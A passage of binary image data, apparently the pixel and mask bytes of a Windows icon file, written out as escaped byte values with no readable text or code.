ff\xe6\xff\xff\xff\xe6\xff\xff\xff\xe6\xfb\xfb\xfb\xe8\xff\xff\xff\xff\xd3\xd3\xd3\xff@@B\xfe\x00\x00\x00\xff\x02\x02\x01\xfe\x84\x85\x84\xff\x12\x12\x11\xfe\x00\x00\x00\xfd\x90\x90\x91\xfe\xff\xff\xff\xda\xb9\xb8\xb9\x06\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\x04\x00\x00\x00\x00\xfb\xfb\xfb%\xff\xff\xff\xfa888\xff\x00\x00\x00\xffVVW\xff\xc0\xc0\xc0\xff\xff\xff\xff\xff\xff\xff\xff\xff\xc6\xc6\xc6\xffccc\xffddd\xffddd\xffddd\xff‍```\xff\x82\x81\x83\xff\xc1\xc0\xc3\xff[[Z\xffdde\xffccc\xffeee\xff___\xff\x93\x93\x93\xff\xb2\xb2\xb6\xffVVV\xfffff\xffddd\xffddd\xffddd\xffddd\xffddd\xffddd\xff‍```\xff]]]\xff>>>\xfd\x08\x08\x08\xfc\x00\x00\x00\xff\x00\x00\x00\xfewu\x87\xffKJO\xfe\x00\x00\x00\xff\x04\x04\x05\xfa\xdf\xdf\xe0\xff\xff\xff\xff\x8d\x00\x00\x00\x00\xff\xff\xff\x03\x00\x00\x00\x00\xff\xff\xff\x03\x00\x00\x00\x00\xfa\xfa\xfa$\xff\xff\xff\xf9333\xff\x00\x00\x00\xfe\xa9\xa9\xa9\xff\xff\xff\xff\xff\xfa\xfa\xfa\xfe\xb9\xb9\xb9\xff\x04\x04\x04\xfe\x00\x00\x00\xfd\x00\x00\x00\xfd\x00\x00\x00\xfd\x00\x00\x00\xfd\x00\x00\x00\xfd\x00\x00\x00\xfdMLS\xfdbbe\xfd\x00\x00\x00\xfd\x00\x00\x00\xfd\x00\x00\x00\xfd\x00\x00\x00\xfd\x00\x00\x00\xfdfdk\xfdKJP\xfd\x00\x00\x00\xfd\x00\x00\x00\xfd\x00\x00\x00\xfd\x00\x00\x00\xfd\x00\x00\x00\xfd\x00\x00\x00\xfd\x00\x00\x00\xfd\x00\x00\x00\xfd\x00\x00\x00\xfd\x00\x00\x00\xfe\x00\x00\x00\xfe\'\'\'\xfe\x7f~\x81\xffYWb\xfe\x00\x00\x00\xff\x00\x00\x00\xfd\x84\x83\x8a\xfa\xff\xff\xff\xf6\xe7\xe7\xe7\'\x00\x00\x00\x00\xff\xff\xff\x01\x00\x00\x00\x00\xff\xff\xff\x03\x00\x00\x00\x00\xfc\xfc\xfc%\xfc\xfc\xfc\xf8***\xfe\x8e\x8e\x8f\xff\xff\xff\xff\xfe\xff\xff\xff\xff\xe0\xe0\xe0\xff666\xff\'&\'\xff++,\xff,,-\xff""#\xff\x00\x00\x00\xff\x05\x04\x05\xff\x04\x04\x04\xff\x00\x00\x00\xff__d\xffvux\xff\x00\x00\x00\xff\x05\x05\x05\xff\x03\x03\x03\xff\x03\x03\x03\xff\x00\x00\x00\xffxw|\xffffj\xff***\xff,,-\xff++,\xff++,\xff++,\xff++,\xff,+,\xff777\xffUUY\xffyx\x81\xff}|}\xff222\xfe\x00\x00\x00\xff\x00\x00\x00\xfeZZ[\xf8\xfb\xfb\xfb\xff\xf6\xf5\xf6w\xfa\xfa\xfa\x00\xff\xff\xff\x02\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\x04\x00\x00\x00\x00\xff\xff\xff$\xf7\xf7\xf7\xff\xc2\xc2\xc2\xff\xff\xff\xff\xfe\xff\xff\xff\xff\xcc\xcc\xcc\xffmmn\xffmmn\xffrrs\xffppr\xffmmm\xff\x8a\x89\x94\xff\\[m\xff\x00\x00\x00\xff\x06\x06\x05\xff\x08\x08\x08\xff\x00\x00\x00\xffa`e\xffxxz\xff\x00\x01\x00\xff\x04\x04\x04\xff\x05\x05\x05\xff\x05\x05\x06\xff\x00\x00\x00\xff^]a\xffsst\xffoop\xffppq\xffppq\xffppq\xffppq\xffnnp\xffhhh\xffNMT\xfe\x1f\x1e\x1f\xfe\x00\x00\x00\xfe\x00\x00\x00\xfe\x0e\x0e\x0e\xfa\x81\x80\x87\xfd\xfd\xfd\xfd\xff\xfb\xfb\xfb\x96\xfa\xfa\xfa\x00\xff\xff\xff\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\x01\x00\x00\x00\x00\xff\xff\xff\t\xff\xff\xff\xb6\xff\xff\xff\xf1\xfb\xfb\xfb\xf9\xaf\xae\xaf\xfa\x00\x00\x00\xfb\x00\x00\x00\xfb\x00\x00\x00\xfb\x00\x00\x00\xfb\x00\x00\x00\xfb\x00\x00\x00\xfb\x00\x00\x00\xfb`^v\xfbKJ^\xfb\x00\x00\x00\xfb\x00\x00\x00\xfb\x00\x00\x00\xfb\x00\x00\x00\xfbHGL\xfb__b\xfb\x00\x00\x00\xfb\x00\x00\x00\xfb\x00\x00\x00\xfb\x00\x00\x00\xfb\x00\x00\x00\xfb\x00\x00\x00\xfb\x00\x00\x00\xfb\x00\x00\x00\xfb\x00\x00\x00\xfb\x00\x00\x00\xfb\x00\x00\x00\xfb\x00\x00\x00\xfb\x00\x00\x00\xfb\x00\x00\x00\xfb\x00\x00\x00\xfb002\xfd{{|\xff\xd6\xd6\xd7\xff\xff\xff\xff\xf7\xfc\xfc\xfcy\xfd\xfd\xfe\x00\xff\xff\xff\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\x02\x00\x00\x00\x00\xfb\xfb\xfbj\xfc\xfc\xfc\xff\xa8\xa7\xa8\xff\x97\x97\x97\xff\x9f\x9f\x9f\xff\x9d\x9d\x9d\xff\x9d\x9d\x9d\xff\x9d\x9d\x9d\xff\x9e\x9e\x9e\xff\x9b\x9b\x9b\xff\x95\x95\x95\xff\xde\xdd\xeb\xff\xa4\xa4\xa7\xff\x99\x99\x99\xff\x9a\x9a\x9a\xff\x9d\x9d\x9d\xff\x90\x90\x90\xff\xd7\xd7\xd9\xff\xaf\xaf\xaf\xff\x98\x98\x98\xff\x9b\x9b\x9b\xff\x9a\x9a\x9a\xff\x9d\x9d\x9d\xff\x9d\x9d\x9d\xff\x9d\x9d\x9d\xff\x9d\x9d\x9d\xff\x9d\x9d\x9d\xff\x9d\x9d\x9d\xff\x9d\x9d\x9d\xff\xa0\xa0\xa1\xff\xa9\xa9\xa9\xff\xc0\xc0\xc1\xff\xdd\xdd\xde\xff\xfd\xfd\xfe\xff\xff\xff\xff\xe9\xff\xff\xff\x93\xfa\xfa\xfa.\xfe\xfe\xfe\x00\xff\xff\xff\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\x01\xff\xff\xff\x01\xff\xff\xff\r\xff\xff\xffq\xff\xff\xff\x98\xff\xff\xff\x9b\xff\xff\xff\x9b\xff\xff\xff\x9c\xff\xff\xff\x9c\xff\xff\xff\x9c\xff\xff\xff\x9c\xff\xff\xff\x9b\xff\xff\xff\x9c\xff\xff\xff\x8c\xff\xff\xff\x97\xff\xff\xff\x9c\xff\xff\xff\x9b\xff\xff\xff\x9b\xff\xff\xff\x9c\xff\xff\xff\x8e\xff\xff\xff\x93\xff\xff\xff\x9c\xff\xff\xff\x9b\xff\xff\xff\x9c\xff\xff\xff\x9c\xff\xff\xff\x9c\xff\xff\xff\x9c\xff\xff\xff\x9c\xff\xff\xff\x9c\xff\xff\xff\x9c\xff\xff\xff\x9b\xff\xff\xff\x99\xff\xff\xff\x94\xff\xff\xff\x87\xff\xff\xff~\xfe\xfe\xfeH\xf5\xf5\xf5\x14\xf9\xf9\xf9\x00\x00\x00\x00\x00\xff\xff\xff\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\x03\xff\xff\xff\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\xff\xff\xff\x03\xff\xff\xff\x03\xff\xff\xff\x03\xff\xff\xff\x03\xff\xff\xff\x03\xff\xff\xff\x03\xff\xff\xff\x03\xff\xff\xff\x03\xff\xff\xff\x03\xff\xff\xff\x03\xff\xff\xff\x03\xff\xff\xff\x03\xff\xff\xff\x03\xff\xff\xff\x03\xff\xff\xff\x03\xff\xff\xff\x03\xff\xff\xff\x03\xff\xff\xff\x03\xff\xff\xff\x03\xff\xff\xff\x03\xff\xff\xff\x03\xff\xff\xff\x03\xff\xff\xff\x03\xff\xff\xff\x03\xff\xff\xff\x03\xff\xff\xff\x03\xff\xff\xff\x03\xff\xff\xff\x03\xff\xff\xff\x03\xff\xff\xff\x03\xff\xff\xff\x03\xff\xff\xff\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\xff\xff\x00\x00\xff\xff\xff\xff\xff\xff\x00\x00\xff\xff\xff\xff\xff\xff\x00\x00\xff\xff\xff\xff\xff\xff\x00\x00\xff\xff\xff\xff\xff\xff\x00\x00\xff\xff\xff\xff\xff\xff\x00\x00\xff\xff\xff\xff\xff\xff\x00\x00\xf0\x00\x00\x00?\xff\x00\x00\xe0\x00\x00\x00\x01\xff\x00\x00\xe0\x00\x00\x00\x00\x7f\x00\x00\xe0\x00\x00\x00\x00\x1f\x00\x00\xe0\x00\x00\x00\x00\x0f\x00\x00\xe0\x00\x00\x00\x00\x0f\x00\x00\xe0\x00\x00\x00\x00\x07\x00\x00\xe0\x00\x00\x04\x00\x07\x00\x00\xe0\x1f\xff\xff\xe0\x07\x00\x00\xe0\x1f\xff\xff\xf0\x07\x00\x00\xe0\x1f\xff\xff\xf8\x07\x00\x00\xe0\x1f\xff\xff\xf8\x07\x00\x00\xe0\x1f\xff\xff\xf0\x07\x00\x00\xe0\x1f\xfe\x00\x00\x07\x00\x00\xe0\x1f\xfc\x00\x00\x07\x00\x00\xe0\x1f\xf8\x00\x00\x0f\x00\x00\xe0\x1f\xf0\x00\x00\x0f\x00\x00\xe0\x1f\xe0\x00\x00\x0f\x00\x00\xe0\x1f\xe0\x00\x00\x0f\x00\x00\xe0\x1f\xe0\x00\x00\x07\x00\x00\xe0\x1f\xe0\x00\x00\x07\x00\x00\xe0\x1f\xff\xff\xe0\x07\x00\x00\xe0\x1f\xff\xff\xf8\x07\x00\x00\xe0\x1f\xff\xff\xf8\x07\x00\x00\xe0\x1f\xff\xff\xf8\x07\x00\x00\xe0\x1f\xff\xff\xf0\x07\x00\x00\xe0\x00\x00\x00\x00\x07\x00\x00\xe0\x00\x00\x00\x00\x07\x00\x00\xe0\x00\x00\x00\x00\x0f\x00\x00\xe0\x00\x00\x00\x00\x0f\x00\x00\xe0\x00\x00\x00\x00\x1f\x00\x00\xe0\x00\x00\x00\x00?\x00\x00\xf0\x00\x00\x00\x00\xff\x00\x00\xf8\x00\x00\x00\x07\xff\x00\x00\xff\xff\xff\xff\xff\xff\x00\x00\xff\xff\xff\xff\xff\xff\x00\x00\xff\xff\xff\xff\xff\xff\x00\x00\xff\xff\xff\xff\xff\xff\x00\x00\xff\xff\xff\xff\xff\xff\x00\x00\xff\xff\xff\xff\xff\xff\x00\x00\xff\xff\xff\xff\xff\xff\x00\x00(\x00\x00\x00 \x00\x00\x00@\x00\x00\x00\x01\x00 \x00\x00\x00\x00\x00\x80\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00uuw\x00\x00\x00\x00\x00\xff\xff\xff\x03\xff\xff\xff\x03\xff\xff\xff\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\x04\xff\xff\xff\x04\xff\xff\xff\x04\xff\xff\xff\x04\xff\xff\xff\x04\xff\xff\xff\x04\xff\xff\xff\x04\xff\xff\xff\x04\xff\xff\xff\x04\xff\xff\xff\x04\xff\xff\xff\x03\xff\xff\xff\x04\xff\xff\xff\x04\xff\xff\xff\x04\xff\xff\xff\x03\xff\xff\xff\x03\xff\xff\xff\x04\xff\xff\xff\x04\xff\xff\xff\x04\x00\x00\x00\x00\xc9\xc9\xc8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\x02\xff\xff\xff\x01\xfa\xfa\xfa\xa9\xe2\xe2\xe2\xde\xe2\xe2\xe3\xdc\xe2\xe2\xe2\xde\xe2\xe2\xe2\xde\xe2\xe2\xe2\xde\xe2\xe2\xe2\xde\xe2\xe2\xe2\xde\xe2\xe2\xe2\xde\xe2\xe2\xe2\xde\xd8\xd8\xd8\xde\xf4\xf4\xf4\xdc\xe3\xe3\xe3\xde\xe2\xe2\xe3\xde\xdb\xdb\xdb\xde\xea\xea\xea\xdd\xec\xec\xec\xdd\xe0\xe0\xe0\xde\xe2\xe1\xe2\xdb\xda\xda\xda\xde\xfc\xfc\xfc\x8a\xff\xff\xffd\xff\xff\xff\x93\xff\xff\xffY\xff\xff\xff\x15\xf9\xf9\xf9\x00\xff\xff\xff\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\x06\xde\xde\xde\xec!!!\xff\r\r\r\xff\x0f\x0f\x0f\xff\x10\x10\x10\xff\x10\x10\x10\xff\x10\x10\x10\xff\x10\x10\x10\xff\x11\x11\x11\xff\x11\x11\x11\xffIIJ\xff^^^\xff\x16\x16\x17\xff\x10\x10\x10\xff##%\xffqqv\xff$$$\xff\x11\x11\x12\xff\x08\x08\t\xff\x96\x96\x96\xff\xff\xff\xff\xff\xa8\xa8\xa8\xffOOR\xff\x9a\x9a\x9b\xff\xed\xed\xef\xe9\xff\xff\xffq\xf8\xf8\xf8\x00\xff\xff\xff\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\x06\xdd\xdd\xdd\xe0\x00\x00\x00\xfe777\xfdWVW\xfeNNO\xfeQQR\xfeQQR\xfeQQR\xfePPP\xfeXXX\xfeKKK\xfe\x00\x00\x00\xfe\x00\x00\x00\xfe\x10\x10\x12\xfecbi\xfe\x14\x13\x15\xfe\x00\x00\x00\xfe\x00\x00\x00\xfc\x91\x91\x91\xfe\xff\xff\xff\xfe\xd0\xd0\xd0\xfe[[]\xfd333\xfb\x04\x04\x04\xfb\x16\x16\x18\xff\xa9\xa9\xa9\xff\xff\xff\xfe\x96\xf6\xf6\xf6\x00\xfd\xfd\xfd\x01\xfe\xfe\xfe\x00\x00\x00\x00\x00\xff\xff\xff\x05\xde\xde\xde\xe1\x05\x05\x05\xffQQQ\xfe\x18\x18\x18\xfe\x00\x00\x00\xff\x00\x00\x00\xfe\x00\x00\x00\xfe\x00\x00\x00\xfe\x00\x00\x00\xfe\x00\x00\x00\xfe\x00\x00\x00\xfe\x00\x00\x00\xfe\x08\x08\n\xfeSSY\xfe\x06\x06\x07\xfe\x00\x00\x00\xfe\x05\x04\x05\xff\x9b\x9a\x9b\xff\xff\xff\xff\xff\x9e\x9e\x9f\xfe\x00\x00\x00\xfe\x00\x00\x00\xfb+++\xfebae\xff,+2\xfd\x05\x05\x05\xf8\xc4\xc4\xc7\xff\xfb\xfb\xfbG\x00\x00\x00\x00\xfe\xfe\xff\x06\x00\x00\x00\x00\xff\xff\xff\x06\xde\xde\xde\xe2\x04\x04\x04\xffTTT\xfe\x03\x03\x03\xffooo\xff\xab\xab\xab\xff\xa4\xa4\xa4\xff\xa7\xa7\xa7\xff\xab\xab\xab\xff\xab\xab\xab\xff\xaf\xaf\xaf\xff\xaa\xaa\xaa\xff\xcb\xca\xcd\xff\xbe\xbe\xbf\xff\xa7\xa7\xa7\xff\xaa\xaa\xab\xff\xc5\xc5\xc5\xff\xff\xff\xff\x96\xf6\xf6\xf7\xd2\xb3\xb3\xb3\xff\xa8\xa8\xa8\xffwww\xff\n\n\n\xff\x00\x00\x00\xfedcl\xff\t\t\t\xfbJIK\xfd\xff\xff\xff\xb7\xda\xda\xda\x00\xfe\xfe\xfd\x07\x00\x00\x00\x00\xff\xff\xff\x06\xdd\xdd\xdd\xe2\x07\x07\x07\xff\'\'\'\xfeNNO\xfe\xc0\xc0\xc0\xff\xff\xff\xffW\xff\xff\xff3\xff\xff\xff5\xff\xff\xff3\xff\xff\xff3\xff\xff\xff3\xff\xff\xff2\xff\xff\xff8\xff\xff\xff7\xff\xff\xff2\xff\xff\xff3\xff\xff\xff0\xf6\xf6\xf6\x00\xff\xff\xff#\xff\xff\xff7\xff\xff\xff6\xff\xff\xff\x87\xcc\xcc\xcd\xfb\n\n\t\xfd  $\xfe??F\xfd\x0c\x0c\x0b\xfe\xf0\xf0\xf1\xdbVVV\x02\xdb\xda\xe3\x01\x00\x00\x00\x00\xff\xff\xff\x06\xdb\xdb\xdb\xe2\x10\x10\x10\xff\x00\x00\x00\xfe!!"\xfe\xd4\xd4\xd5\xfe\xfb\xfb\xfb"\xfb\xfb\xfb\x00\xfb\xfb\xfb\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\x04\x00\x00\x00\x00\x00\x00\x00\x00\xfb\xfb\xfb\x00\xfa\xfa\xfa\x00\xff\xff\xff\x97ccc\xff\x00\x00\x00\xfaONO\xfe\x06\x06\x06\xff\xe4\xe4\xe4\xec\xff\xff\xff\x0f\xfe\xfe\xff\x00\x00\x00\x00\x00\xfc\xfc\xfc\x05\xde\xde\xde\xe1\x08\x08\x08\xff\x01\x01\x01\xfd\x00\x00\x00\xfe\xaf\xb0\xaf\xfe\xff\xff\xff.\xfe\xfe\xfe\x02\xff\xff\xff\x04\xff\xff\xff\x02\xff\xff\xff\x02\x00\x00\x00\x02\xff\xff\xff\x02\xff\xff\xff\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xfb\xfb\xfb\x00\xfa\xfa\xfa\x00\xff\xff\xff\x92ggf\xfe\x00\x00\x01\xfaMMP\xfd\r\r\r\xff\xea\xea\xeb\xdciii\x03\xcb\xcb\xd0\x01\x00\x00\x00\x00\xdb\xdb\xdb\x05\xec\xec\xec\xe0[[[\xff\x00\x00\x00\xfd\x01\x01\x01\xfd\xb4\xb4\xb4\xff\xff\xff\xff-\x00\x00\x00\x00\xff\xff\xff\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\x01\xfd\xfd\xfd\x00\xff\xff\xfff\xff\xff\xff\x91\xff\xff\xff\x8f\xff\xff\xff\x91\xff\xff\xff\x91\xff\xff\xff\x91\xff\xff\xff\x92\xff\xff\xff\x90\xff\xff\xff\xaa\xcd\xcd\xce\xfc\x03\x03\x02\xfe99:\xfe,,-\xfc"""\xfe\xfb\xfb\xfb\xccvuv\x00\xf2\xf2\xf3\x04\x00\x00\x00\x00\xff\xff\xff\x06\xd2\xd2\xd2\xe2@@@\xffWWX\xfe\x00\x00\x00\xfe\xb1\xb1\xb1\xff\xff\xff\xff,\x00\x00\x00\x00\xff\xff\xff\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xf9\xf9\xf9\x00\xff\xff\xff\x86\xb2\xb2\xb2\xffggg\xffjjj\xffhhh\xffmmm\xffuuu\xffqqq\xffddd\xffAAC\xff\x02\x02\x03\xff,+1\xffcbl\xff\x00\x00\x00\x